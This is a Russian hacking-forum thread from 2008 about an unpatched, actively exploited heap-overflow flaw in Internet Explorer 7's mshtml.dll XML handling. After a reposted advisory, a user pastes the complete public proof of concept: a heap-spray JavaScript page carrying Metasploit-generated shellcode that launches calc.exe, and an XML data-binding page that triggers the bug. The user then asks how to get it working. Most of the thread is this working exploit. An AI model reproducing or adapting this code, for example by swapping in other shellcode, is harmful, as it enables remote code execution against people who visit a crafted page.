Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Soft - Windows (https://forum.antichat.xyz/forumdisplay.php?f=47)
-   -   Выполнение произвольного кода в Microsoft Internet Explorer 7 (https://forum.antichat.xyz/showthread.php?t=95775)

denjf 10.12.2008 19:42

Выполнение произвольного кода в Microsoft Internet Explorer 7
 
10 декабря, 2008

Программа: Microsoft Internet Explorer 7.x

Опасность: Критическая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю скомпрометировать целевую систему.

Уязвимость существует из-за ошибки проверки границ данных при обработке XML тегов в библиотеке mshtml.dll. Удаленный пользователь может с помощью специально сформированного Web сайта вызвать переполнение динамической памяти и выполнить произвольный код на целевой системе.

Примечание: уязвимость активно эксплуатируется в настоящее время.

URL производителя: www.microsoft.com

Решение: Способов устранения уязвимости не существует в настоящее время.

Журнал изменений:

10.12.2008
Изменено описание уязвимости.
10.12.2008
Изменено описание уязвимости. Добавлены новые данные.
10.12.2008
Добавлен PoC код.

Пробуем!!! И помогите разобратся как работает??? Я 2 файла html качнул один из них фрайм! Так как допустим Calc.exe запустить???

nepster 10.12.2008 20:02

Откуда инфа?

P3L3NG 10.12.2008 20:04

www.securitylab.ru вроде отсюда

Dimo4ka14 10.12.2008 20:05

Цитата:

Пробуем!!! И помогите разобратся как работает??? Я 2 файла html качнул один из них фрайм! Так как допустим Calc.exe запустить???
что ты качнул? и что пробывать?

denjf 10.12.2008 20:08

Цитата:

<html>
<script>

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u01 78%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee %u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u 0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb 01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456 %u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u 6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a 43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d %u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0a0a%u0a0a");
var nops = unescape("%u9090%u9090%u9090");


while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>


</html>
первый файл
Цитата:

<html>
<script>

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u01 78%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee %u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u 0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb 01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456 %u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u 6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a 43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d %u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0a0a%u0a0a");
var nops = unescape("%u9090%u9090%u9090");


while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>


</html>
и второй.
скачал с www.securitylab.ru

denjf 10.12.2008 20:10

Цитата:

<XML ID=I>
<X>
<C>
<![CDATA[
<image
SRC=http://ਊਊ.xxxxx.org
>
]]>

</C>
</X>
</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</SPAN>
</SPAN>
второй файл

denjf 10.12.2008 20:11

у меня calc не запустился!!!


Время: 21:56